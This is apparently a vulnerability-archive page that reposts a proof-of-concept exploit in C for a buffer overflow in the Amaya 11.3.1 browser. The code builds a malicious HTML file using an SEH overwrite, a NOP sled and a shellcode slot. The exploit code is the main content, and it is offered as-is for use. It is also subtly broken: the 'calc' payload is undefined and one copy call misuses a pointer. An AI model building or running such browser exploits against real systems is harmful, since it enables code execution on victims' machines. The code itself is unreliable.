Lucene search
K

Amaya 11.3.1(dec 9 2009) remote buffer overflow (poc)

🗓️ 21 May 2010 00:00:00Reported by n/aType 
zdt
 zdt
🔗 0day.today👁 17 Views

Amaya 11.3.1 remote buffer overflow exploit cod

Code
=====================================================
Amaya 11.3.1(dec 9 2009) remote buffer overflow (poc)
=====================================================


#include<stdio.h>
/*Amaya 11.3.1(dec 9 2009) remote buffer overflow(poc)*/
     unsigned int seh=0x7C902783;   ;
     char nseh[]="\xeb\x04\x90\x90";
  void gen_random(char *s, const int  len)
    { int i;
      static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
       
      for(i=0;i<len;i++)
      {
        s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
      }
       s[len]=0;
      }
       char html[]="<script defer=\"";
       char end[]="\">";
     int main(){
         FILE*f=fopen("shit.html","wb");
         char buffer[100000];
        fwrite(html,1,sizeof(html)-1,f);
        gen_random(buffer,12996);
        memcpy(buffer+11266,&seh,4);
        memcpy(buffer+11262,seh,4);
        memset(buffer+11266,0x90,10);
        memcpy(buffer+11276,calc,strlen(calc));
        fwrite(buffer,1,12996,f);
         
        fwrite(end,1,sizeof(end)-1,f);
        fclose(f);
        printf("done");
        getchar();
        return 0;
     }



#  0day.today [2018-02-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2010 00:00Current
7.1High risk
Vulners AI Score7.1
17